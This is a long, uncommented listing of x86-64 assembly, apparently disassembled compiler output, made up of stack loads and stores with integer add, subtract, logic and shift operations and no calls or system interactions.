mov rax, qword [rsp + 0x98b0]
mov rcx, qword [rsp + 0x9658]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f00], eax
mov rax, qword [rsp + 0x96d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e50]
mov ecx, dword [rsp + 0x4f44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c88], eax
movsx eax, byte [rsp + 0x1e4]
movsx ecx, byte [rsp + 0x242]
sub eax, ecx
mov rcx, qword [rsp + 0x9540]
mov byte [rcx], al
movzx eax, byte [rsp + 0x244]
mov rcx, qword [rsp + 0x9ab8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc03e], al
lea rax, [rsp + 0x1660]
mov qword [rsp + 0x9ff0], rax
mov rax, qword [rsp + 0x9c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x92e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x23c]
sub eax, ecx
mov rcx, qword [rsp + 0x9878]
mov byte [rcx], al
mov rax, qword [rsp + 0x91a8]
mov qword [rsp + 0x9ff8], rax
mov rax, qword [rsp + 0x98b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f90]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a50], eax
mov rax, qword [rsp + 0x8fc0]
mov rax, qword [rax]
mov qword [rsp + 0xa000], rax
mov eax, dword [rsp + 0x4fbc]
mov ecx, dword [rsp + 0x4e98]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ef4], eax
movzx eax, byte [rsp + 0x20e]
mov byte [rsp + 0x25e], al
lea rax, [rsp + 0x167c]
mov qword [0x1401cd990], rax
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9858]
mov byte [rcx], al
movzx eax, word [rsp + 0x1560]
movzx ecx, word [rsp + 0x15c8]
or eax, ecx
mov rcx, qword [rsp + 0x9070]
mov word [rcx], ax
mov rax, qword [rsp + 0x96b0]
movzx eax, byte [rax]
mov byte [rsp + 0x25f], al
mov rax, qword [rsp + 0x9918]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x94b8]
mov qword [rsp + 0xa008], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa008]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b88]
mov qword [rsp + 0xa010], rax
mov rax, qword [rsp + 0x9c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d00], rax
mov eax, dword [rsp + 0x4f74]
mov ecx, dword [rsp + 0x4f24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
mov word [rsp + 0x16d4], ax
lea rax, [rsp + 0xee8]
mov qword [0x1401cd998], rax
mov rax, qword [rsp + 0x9d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9508]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov byte [rcx], al
movzx eax, byte [rsp + 0x201]
mov byte [rsp + 0x260], al
movzx eax, word [rsp + 0x151c]
mov rcx, qword [0x1401cd750]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15e4], ax
movsx eax, byte [rsp + 0x222]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9318]
mov byte [rcx], al
mov eax, dword [rsp + 0x4e38]
mov dword [rsp + 0x5050], eax
mov rax, qword [rsp + 0x9820]
mov rcx, qword [rsp + 0x8fe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9cf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9020]
mov rcx, qword [rsp + 0x9f88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8078], rax
mov eax, dword [rsp + 0x5008]
mov ecx, dword [rsp + 0x4e7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c88], eax
movsx eax, word [rsp + 0x1504]
mov rcx, qword [rsp + 0x9ff0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cd714], ax
movzx eax, byte [rsp + 0x25f]
mov byte [rsp + 0x261], al
mov rax, qword [rsp + 0x9a18]
movzx eax, word [rax]
mov rcx, qword [0x1401cd888]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9850]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c4]
sub eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0xa018], rax
mov rax, qword [rsp + 0x93c8]
mov ecx, dword [rsp + 0x4fc0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4b94], eax
mov rax, qword [rsp + 0x9978]
mov rax, qword [rax]
mov qword [rsp + 0xa020], rax
mov rax, qword [rsp + 0x8f48]
mov rcx, qword [rsp + 0x94d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x93f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a60]
movzx ecx, al
mov rax, qword [0x1401cc020]
shl rax, cl
mov rcx, qword [rsp + 0x9cc8]
mov qword [rcx], rax
lea rax, [rsp + 0x1f3]
mov qword [0x1401cd9a0], rax
movzx eax, word [rsp + 0x15b8]
mov word [rsp + 0x16d8], ax
movzx eax, byte [rsp + 0xd6]
mov rcx, qword [0x1401cd7c8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0x9c78]
movzx eax, word [rax]
mov word [rsp + 0x16dc], ax
movzx eax, word [rsp + 0x155c]
mov rcx, qword [rsp + 0x9080]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a18]
mov word [rcx], ax
mov rax, qword [rsp + 0x9048]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4748]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e64], eax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0xa028], rax
mov eax, dword [rsp + 0x4cf0]
mov ecx, dword [rsp + 0x4828]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ff4], eax
mov rax, qword [rsp + 0x9588]
mov rax, qword [rax]
mov qword [rsp + 0xa030], rax
mov rax, qword [rsp + 0x9a90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9850]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cd998]
mov word [rcx], ax
movzx eax, byte [rsp + 0x252]
mov rcx, qword [rsp + 0x9c40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd918]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25b], al
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0xa038], rax
movzx eax, word [rsp + 0x1684]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov qword [rsp + 0xa040], rax
mov rax, qword [rsp + 0x9060]
mov rcx, qword [rsp + 0x9df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9648]
mov dword [rcx], eax
lea rax, [rsp + 0x9b10]
mov qword [rsp + 0xa048], rax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x4828]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9478]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cc048], ax
movsx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0x9940]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1f0], al
mov rax, qword [0x1401cd930]
movzx eax, word [rax]
mov word [rsp + 0x16e0], ax
movzx eax, byte [rsp + 0x1e1]
mov rcx, qword [rsp + 0x9c18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e9], al
movzx eax, word [rsp + 0x16c0]
mov word [rsp + 0x16e4], ax
mov eax, dword [rsp + 0x4f68]
mov rcx, qword [rsp + 0x9440]
mov qword [rsp + 0xa050], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa050]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5040], eax
mov rax, qword [rsp + 0x91d0]
mov rcx, qword [rsp + 0x9a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9048]
mov dword [rcx], eax
lea rax, [rsp + 0x9310]
mov qword [rsp + 0xa058], rax
mov rax, qword [rsp + 0x8fd8]
mov rcx, qword [rsp + 0x9830]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9978]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x254]
mov rcx, qword [rsp + 0x9858]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc04f], al
lea rax, [rsp + 0x236]
mov qword [rsp + 0xa060], rax
mov rax, qword [rsp + 0x9448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15bc]
add eax, ecx
mov word [rsp + 0x15b4], ax
movsx eax, word [rsp + 0x167c]
movsx ecx, word [rsp + 0x14e8]
add eax, ecx
mov word [rsp + 0x1664], ax
lea rax, [rsp + 0x21f]
mov qword [rsp + 0xa068], rax
mov rax, qword [rsp + 0x9d30]
mov rcx, qword [0x1401cc020]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d00], rax
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0x8f48]
mov rcx, qword [rsp + 0x9e20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f14], eax
mov rax, qword [rsp + 0x9798]
mov ecx, dword [rsp + 0x4ed8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f94], eax
movsx eax, byte [rsp + 0x1f4]
movsx ecx, byte [rsp + 0x24b]
add eax, ecx
mov byte [0x1401cd727], al
mov rax, qword [rsp + 0x94f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1658]
sub eax, ecx
mov word [rsp + 0x10d8], ax
mov rax, qword [rsp + 0x9858]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x229]
sar eax, cl
mov rcx, qword [rsp + 0x99b0]
mov byte [rcx], al
lea rax, [rsp + 0x1624]
mov qword [rsp + 0xa078], rax
movzx eax, word [0x1401cc068]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1588], ax
lea rax, [rsp + 0x9c60]
mov qword [rsp + 0xa080], rax
mov rax, qword [rsp + 0x9c28]
mov rcx, qword [rsp + 0x97f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9700], rax
mov eax, dword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x9e08]
mov qword [rsp + 0xa088], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa088]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ee8], eax
mov rax, qword [rsp + 0x9eb8]
mov eax, dword [rax]
mov dword [rsp + 0x5054], eax
lea rax, [rsp + 0x15cc]
mov qword [0x1401cd9a8], rax
movsx eax, byte [rsp + 0x21a]
movsx ecx, byte [0x1401cc04a]
and eax, ecx
mov byte [rsp + 0x229], al
movzx eax, word [rsp + 0x1508]
mov word [rsp + 0x16e8], ax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x1f8]
add eax, ecx
mov rcx, qword [rsp + 0x9c40]
mov byte [rcx], al
mov rax, qword [0x1401cd8a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9af8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9968]
mov eax, dword [rax]
mov dword [rsp + 0x5058], eax
mov rax, qword [rsp + 0x9820]
mov rcx, qword [rsp + 0x9018]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a60], rax
mov eax, dword [rsp + 0x4e68]
mov dword [rsp + 0x505c], eax
mov rax, qword [rsp + 0x9330]
mov rcx, qword [rsp + 0x9510]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x9e10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x24a]
sub eax, ecx
mov byte [rsp + 0x213], al
mov rax, qword [rsp + 0x9a68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16e8]
and eax, ecx
mov word [0x1401cc07c], ax
lea rax, [rsp + 0x1fa]
mov qword [rsp + 0xa090], rax
mov rax, qword [rsp + 0x9ab0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9bd8]
mov word [rcx], ax
movzx eax, word [0x1401cd820]
mov word [rsp + 0x16ec], ax
mov rax, qword [rsp + 0x9e68]
mov rcx, qword [rsp + 0x9d70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a00], rax
lea rax, [rsp + 0xa020]
mov qword [rsp + 0xa098], rax
mov rax, qword [rsp + 0x9158]
mov ecx, dword [rsp + 0x4fa4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9e98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f30]
mov ecx, dword [rsp + 0x4fd4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e9c], eax
lea rax, [rsp + 0x254]
mov qword [rsp + 0xa0a0], rax
lea rax, [rsp + 0x121c]
mov qword [0x1401cd9b0], rax
movsx eax, word [rsp + 0xee8]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16c0], ax
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
mov byte [rsp + 0x262], al
movsx eax, byte [rsp + 0x166]
movsx ecx, byte [0x1401cd7da]
shl eax, cl
mov byte [rsp + 0x24a], al
mov rax, qword [rsp + 0x9f80]
mov rcx, qword [rsp + 0xa048]
mov qword [rsp + 0xa0a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa0a8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9d00], rax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov dword [rsp + 0x5060], eax
mov rax, qword [0x1401cc010]
mov rcx, qword [rsp + 0x9ae0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x86e8], rax
mov rax, qword [rsp + 0x9308]
mov eax, dword [rax]
mov dword [rsp + 0x5064], eax
movzx eax, word [rsp + 0x1520]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa078]
mov word [rcx], ax
movsx eax, byte [rsp + 0x226]
movsx ecx, byte [0x1401cc00a]
sub eax, ecx
mov byte [0x1401cc052], al
mov rax, qword [rsp + 0x9260]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9050]
mov byte [rcx], al
lea rax, [rsp + 0x1660]
mov qword [rsp + 0xa0b0], rax
movzx eax, word [0x1401cc018]
movzx ecx, word [rsp + 0x161c]
sub eax, ecx
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0x9be0]
mov rcx, qword [rsp + 0xa010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8980], rax
mov rax, qword [rsp + 0x9e08]
mov ecx, dword [rsp + 0x5000]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9310]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f90], rax
lea rax, [rsp + 0x4ff4]
mov qword [rsp + 0xa0b8], rax
mov rax, qword [rsp + 0x9850]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9250]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11f4], ax
movzx eax, byte [rsp + 0x256]
movzx ecx, byte [rsp + 0xb1]
sar eax, cl
mov byte [0x1401cc00f], al
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
mov byte [rsp + 0x263], al
movzx eax, word [rsp + 0x15d4]
movzx ecx, word [rsp + 0x16e8]
or eax, ecx
mov rcx, qword [rsp + 0x9d80]
mov word [rcx], ax
lea rax, [rsp + 0x210]
mov qword [rsp + 0xa0c0], rax
mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x99f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4cd4]
shl eax, cl
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0xa0c8], rax
mov rax, qword [rsp + 0x95b0]
mov rcx, qword [rsp + 0x9fb8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9fa0]
mov qword [rcx], rax
lea rax, [rsp + 0x98b8]
mov qword [rsp + 0xa0d0], rax
lea rax, [rsp + 0xca]
mov qword [0x1401cd9b8], rax
movzx eax, word [rsp + 0x1694]
mov rcx, qword [rsp + 0x9b58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1048]
movsx ecx, word [0x1401cc044]
imul eax, ecx
mov rcx, qword [rsp + 0xa0b0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1538]
mov word [rsp + 0x16f0], ax
mov rax, qword [rsp + 0x9300]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9318]
mov byte [rcx], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov dword [rsp + 0x5068], eax
mov rax, qword [rsp + 0xa0b8]
mov rcx, qword [rsp + 0x92e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e78], eax
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0x97b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xa0d8], rax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9190]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd716], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d48]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x98c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1538]
mov word [rsp + 0x16f4], ax
movsx eax, word [rsp + 0x14dc]
mov rcx, qword [rsp + 0xa0b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9bd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a40]
movzx eax, word [rax]
mov word [rsp + 0x16f8], ax
mov rax, qword [rsp + 0x9be0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa070], rax
mov rax, qword [rsp + 0x9258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9438]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9000]
mov eax, dword [rax]
mov dword [rsp + 0x506c], eax
mov rax, qword [rsp + 0x92e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ec0]
shr eax, cl
mov rcx, qword [rsp + 0x90d0]
mov dword [rcx], eax
lea rax, [rsp + 0x1588]
mov qword [0x1401cd9c0], rax
lea rax, [rsp + 0x1f5]
mov qword [rsp + 0xa0e0], rax
mov rax, qword [rsp + 0x9b30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ea]
shl eax, cl
mov rcx, qword [rsp + 0x95c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
or eax, ecx
mov byte [rsp + 0x101], al
lea rax, [rsp + 0x14d8]
mov qword [rsp + 0xa0e8], rax
mov rax, qword [rsp + 0x9440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e94]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fa8], eax
lea rax, [rsp + 0x4fa4]
mov qword [rsp + 0xa0f0], rax
mov rax, qword [rsp + 0x9f08]
mov rcx, qword [rsp + 0x9a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9288]
mov qword [rcx], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x8100]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ad0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x16c4]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cd880]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9a]
mov byte [rsp + 0x264], al
mov rax, qword [rsp + 0x9e70]
movzx eax, word [rax]
movzx ecx, word [0x1401cc078]
sub eax, ecx
mov word [rsp + 0x16dc], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21e]
add eax, ecx
mov byte [rsp + 0x112], al
mov rax, qword [rsp + 0x9fb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ff]
add eax, ecx
mov rcx, qword [rsp + 0x9878]
mov byte [rcx], al
mov rax, qword [rsp + 0x98d8]
mov rcx, qword [rsp + 0x93b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5040], eax
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0xa0f8], rax
mov rax, qword [rsp + 0x98b0]
mov ecx, dword [rsp + 0x5000]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fc0]
mov rax, qword [rax]
mov qword [rsp + 0xa100], rax
mov rax, qword [rsp + 0x8fc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15d4]
sub eax, ecx
mov word [0x1401cc080], ax
mov rax, qword [rsp + 0x9670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x19b], al
lea rax, [rsp + 0x1164]
mov qword [rsp + 0xa108], rax
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x23e], al
movzx eax, word [rsp + 0x1638]
mov rcx, qword [rsp + 0x9778]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15c0], ax
lea rax, [rsp + 0x4f74]
mov qword [rsp + 0xa110], rax
mov rax, qword [rsp + 0xa0f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f38], rax
mov rax, qword [rsp + 0xa080]
mov rax, qword [rax]
mov qword [rsp + 0xa118], rax
mov rax, qword [rsp + 0x9f00]
mov ecx, dword [rsp + 0x4f10]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e70], eax
lea rax, [rsp + 0x1608]
mov qword [0x1401cd9c8], rax
mov rax, qword [rsp + 0x94e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x23a]
sar eax, cl
mov byte [rsp + 0x237], al
mov rax, qword [rsp + 0x9900]
movzx eax, byte [rax]
mov byte [rsp + 0x265], al
mov rax, qword [rsp + 0x9ff0]
movsx eax, word [rax]
imul eax, eax, 0x2b1e
mov word [rsp + 0x153c], ax
lea rax, [rsp + 0x25f]
mov qword [rsp + 0xa120], rax
mov rax, qword [rsp + 0x8f58]
mov rcx, qword [0x1401cc010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x9200]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9bb8]
mov qword [rcx], rax
lea rax, [rsp + 0x4de8]
mov qword [rsp + 0xa128], rax
mov rax, qword [rsp + 0x9440]
mov rcx, qword [rsp + 0x8ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x93a0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1564]
movsx ecx, word [rsp + 0x1570]
and eax, ecx
mov word [0x1401cc038], ax
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov word [rsp + 0x16fc], ax
movsx eax, byte [rsp + 0x213]
movsx ecx, byte [rsp + 0x24a]
add eax, ecx
mov byte [rsp + 0x208], al
movzx eax, word [rsp + 0x1670]
movzx ecx, word [rsp + 0xf18]
sub eax, ecx
mov word [rsp + 0x16f0], ax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov byte [rsp + 0x266], al
mov rax, qword [rsp + 0x9830]
mov rcx, qword [rsp + 0x90f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa080]
mov qword [rcx], rax
lea rax, [rsp + 0x9d30]
mov qword [rsp + 0xa130], rax
mov rax, qword [rsp + 0xa110]
mov rcx, qword [rsp + 0x9f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f68], eax
mov eax, dword [rsp + 0x4e38]
mov dword [rsp + 0x5070], eax
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9da8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x245]
mov byte [0x1401cd7dc], al
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [rsp + 0x99a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1168], ax
lea rax, [rsp + 0x24d]
mov qword [rsp + 0xa138], rax
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x100c]
shl eax, cl
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x84e0]
mov qword [rsp + 0xa140], rax
mov eax, dword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x90b0]
mov qword [rsp + 0xa148], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa148]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4f84], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9418]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9b60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5018]
mov dword [rsp + 0x5074], eax
movsx eax, byte [rsp + 0x212]
mov rcx, qword [rsp + 0x9810]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x208], al
mov rax, qword [rsp + 0x9628]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc04c], ax
lea rax, [rsp + 0x1fd]
mov qword [rsp + 0xa150], rax
movsx eax, word [rsp + 0x15f4]
movsx ecx, word [rsp + 0x14dc]
add eax, ecx
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0x9710]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd6]
sub eax, ecx
mov rcx, qword [rsp + 0x9c18]
mov byte [rcx], al
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0x9b40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8a10], rax
mov rax, qword [rsp + 0x98b8]
mov rcx, qword [rsp + 0x9310]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c00]
mov qword [rcx], rax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xa158], rax
